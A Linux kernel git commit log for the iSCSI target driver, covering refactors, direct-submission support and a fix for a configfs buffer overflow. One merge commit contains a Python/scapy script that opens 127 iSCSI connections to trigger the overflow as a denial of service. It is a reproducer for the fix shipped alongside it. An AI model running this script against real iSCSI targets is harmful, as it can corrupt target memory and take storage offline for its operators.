kernel/drivers/target/iscsi, branch linux-6.9.y

scsi: target: iscsi: Remove unused variable xfer_len

2024-03-10T22:01:34Z

The variable 'xfer_len' is being initialized and incremented but it is never actually referenced in any other way. The variable is redundant and can be removed. Cleans up clang scan build warning: drivers/target/iscsi/iscsi_target_erl1.c:586:45: warning: variable 'xfer_len' set but not used [-Wunused-but-set-variable] Signed-off-by: Colin Ian King Link: https://lore.kernel.org/r/20240307104553.1980860-1-colin.i.king@gmail.com Signed-off-by: Martin K. Petersen

Merge patch series "scsi: target: Allow userspace to config cmd submission"

2023-10-13T19:56:37Z

Mike Christie says: The following patches were made over Linus's tree but apply over Martin's branches. They allow userspace to configure how fabric drivers submit cmds to backend drivers. Right now loop and vhost use a worker thread, and the other drivers submit from the contexts they receive/process the cmd from. For multiple LUN cases where the target can queue more cmds than the backend can handle then deferring to a worker thread is safest because the backend driver can block when doing things like waiting for a free request/tag. Deferring also helps when the target has to handle transport level requests from the recv context. For cases where the backend devices can queue everything the target sends, then there is no need to defer to a workqueue and you can see a perf boost of up to 26% for small IO workloads. For a nvme device and vhost-scsi I can see with 4K IOs: fio jobs 1 2 4 8 10 -------------------------------------------------- workqueue submit 94K 190K 394K 770K 890K direct submit 128K 252K 488K 950K - Link: https://lore.kernel.org/r/1b1f7a5c-0988-45f9-b103-dfed2c0405b1@oracle.com Signed-off-by: Martin K. Petersen

scsi: target: core: Kill transport_handle_cdb_direct()

2023-10-13T19:53:58Z

Move the code from transport_handle_cdb_direct() to target_submit() and have iSCSI call target_submit(). Signed-off-by: Mike Christie Link: https://lore.kernel.org/r/20230928020907.5730-5-michael.christie@oracle.com Signed-off-by: Martin K. Petersen

scsi: target: core: Move core_alua_check_nonop_delay() call

2023-10-13T19:53:57Z

Move core_alua_check_nonop_delay() to transport_handle_cdb_direct() so the iSCSI target driver doesn't have to call as many core functions directly. We will eventually merge transport_handle_cdb_direct and target_submit so iSCSI and the other drivers call a common function. It will also be helpful as preparation for future changes which allow the iSCSI target to defer command submission to the LIO submission workqueue, because we will have a common submission function for that which will be based on transport_handle_cdb_direct()/target_submit(). Signed-off-by: Mike Christie Link: https://lore.kernel.org/r/20230928020907.5730-3-michael.christie@oracle.com Signed-off-by: Martin K. Petersen

scsi: target: Have drivers report if they support direct submissions

2023-10-13T19:53:57Z

In some cases, like with multiple LUN targets or where the target has to respond to transport level requests from the receiving context it can be better to defer cmd submission to a helper thread. If the backend driver blocks on something like request/tag allocation it can block the entire target submission path and other LUs and transport IO on that session. In other cases like single LUN targets with storage that can support all the commands that the target can queue, then it's best to submit the cmd to the backend from the target's cmd receiving context. Subsequent commits will allow the user to config what they prefer, but drivers like loop can't directly submit because they can be called from a context that can't sleep. And, drivers like vhost-scsi can support direct submission, but need to keep their default behavior of deferring execution to avoid possible regressions where the backend can block. Make the drivers tell LIO core if they support direct submissions and their current default, so we can prevent users from misconfiguring the system and initialize devices correctly. Signed-off-by: Mike Christie Link: https://lore.kernel.org/r/20230928020907.5730-2-michael.christie@oracle.com Signed-off-by: Martin K. Petersen

scsi: target: iscs: Make write_pending_must_be_called a bit field

2023-10-13T19:53:57Z

Subsequent commits add more on/off type of settings to the target_core_fabric_ops struct so this makes write_pending_must_be_called a bit field instead of a bool to better organize the settings. Signed-off-by: Mike Christie Link: https://lore.kernel.org/r/20230928020907.5730-1-michael.christie@oracle.com Signed-off-by: Martin K. Petersen

scsi: target: Remove the references to http://www.linux-iscsi.org/

2023-09-27T15:06:04Z

The website http://www.linux-iscsi.org/ disappeared more than a year ago. DNS records have been removed for linux-iscsi.org. The company that sponsored this website (Datera; formerly called Rising Tide) has been liquidated in early 2021 according to https://blocksandfiles.com/2021/03/19/datera-is-being-liquidated/. Since it is unlikely that the website http://www.linux-iscsi.org/ will be restored, remove the references to that website. Reviewed-by: Hannes Reinecke Signed-off-by: Bart Van Assche Link: https://lore.kernel.org/r/20230920200232.3721784-2-bvanassche@acm.org Signed-off-by: Martin K. Petersen

Merge patch series "scsi: target: iscsi: Get rid of sprintf in iscsi_target_configfs.c"

2023-07-31T16:11:17Z

Konstantin Shelekhin says: This patch series cleanses iscsi_target_configfs.c of sprintf usage. The first patch fixes the real problem, the second just makes sure we are on the safe side from now on. I've reproduced the issue fixed in the first patch by utilizing this cool thing: https://git.sr.ht/~kshelekhin/scapy-iscsi Yeah, shameless promoting of my own tools, but I like the simplicity of scapy and writing tests in C with libiscsi can be a little cumbersome. Check it out: #!/usr/bin/env python3 # Let's cause some DoS in iSCSI target import sys from scapy.supersocket import StreamSocket from scapy_iscsi.iscsi import * cpr = { "InitiatorName": "iqn.2016-04.com.open-iscsi:e476cd9e4e59", "TargetName": "iqn.2023-07.com.example:target", "HeaderDigest": "None", "DataDigest": "None", } spr = { "SessionType": "Normal", "ErrorRecoveryLevel": 0, "DefaultTime2Retain": 0, "DefaultTime2Wait": 2, "ImmediateData": "Yes", "FirstBurstLength": 65536, "MaxBurstLength": 262144, "MaxRecvDataSegmentLength": 262144, "MaxOutstandingR2T": 1, } if len(sys.argv) != 3: print("usage: dos.py ", file=sys.stderr) exit(1) host = sys.argv[1] port = int(sys.argv[2]) isid = 0xB00B tsih = 0 connections = [] for i in range(0, 127): s = socket.socket() s.connect((host, port)) s = StreamSocket(s, ISCSI) ds = cpr if i > 0 else cpr | spr lirq = ISCSI() / LoginRequest(isid=isid, tsih=tsih, cid=i, ds=kv2text(ds)) lirs = s.sr1(lirq) tsih = lirs.tsih connections.append(s) input() Link: https://lore.kernel.org/r/20230722152657.168859-1-k.shelekhin@yadro.com Signed-off-by: Martin K. Petersen

scsi: target: iscsi: Stop using sprintf() in iscsi_target_configfs.c

2023-07-31T16:09:58Z

Get rid of sprintf() in favor of sysfs_emit(). The latter ensures not to overflow the given buffer. Signed-off-by: Konstantin Shelekhin Link: https://lore.kernel.org/r/20230722152657.168859-3-k.shelekhin@yadro.com Signed-off-by: Martin K. Petersen

scsi: target: iscsi: Fix buffer overflow in lio_target_nacl_info_show()

2023-07-31T16:09:58Z

The function lio_target_nacl_info_show() uses sprintf() in a loop to print details for every iSCSI connection in a session without checking for the buffer length. With enough iSCSI connections it's possible to overflow the buffer provided by configfs and corrupt the memory. This patch replaces sprintf() with sysfs_emit_at() that checks for buffer boundries. Signed-off-by: Konstantin Shelekhin Link: https://lore.kernel.org/r/20230722152657.168859-2-k.shelekhin@yadro.com Signed-off-by: Martin K. Petersen